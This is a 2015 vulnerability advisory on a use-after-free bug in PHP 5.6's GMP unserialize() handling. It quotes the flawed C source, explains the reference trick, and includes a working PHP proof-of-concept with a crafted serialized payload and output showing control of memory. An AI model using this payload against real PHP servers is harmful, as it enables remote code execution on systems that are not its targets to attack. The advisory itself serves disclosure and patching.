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Use After Free Vulnerability in unserialize() with GMP
Taoguang Chen <[@chtg](http://github.com/chtg)>
Write Date: 2015.8.17
Release Date: 2015.9.4
A use-after-free vulnerability was discovered in unserialize() with GMP object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
static int gmp_unserialize(zval **object, zend_class_entry *ce, const
unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data
TSRMLS_DC) /* {{{ */
{
...
INIT_ZVAL(zv);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_STRING
|| convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
) {
zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
goto exit;
}
zval_dtor(&zv);
INIT_ZVAL(zv);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
The GMP object's deserialization can create ZVAL and free its
zval_value from memory via zval_dtor(). However during deserialization
will still allow to use R: or r: to set references to that already
freed memory. It is possible to use-after-free attack and execute
arbitrary code remotely.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
<?php
$inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}';
$exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$data = unserialize($exploit);
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($data);
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
Test the PoC on the command line:
$ php uafpoc.php
array(2) {
[0]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
[1]=>
object(GMP)#1 (2) {
[0]=>
array(1) {
[0]=>
int(4325299791)
}
["num"]=>
string(1) "1"
}
}
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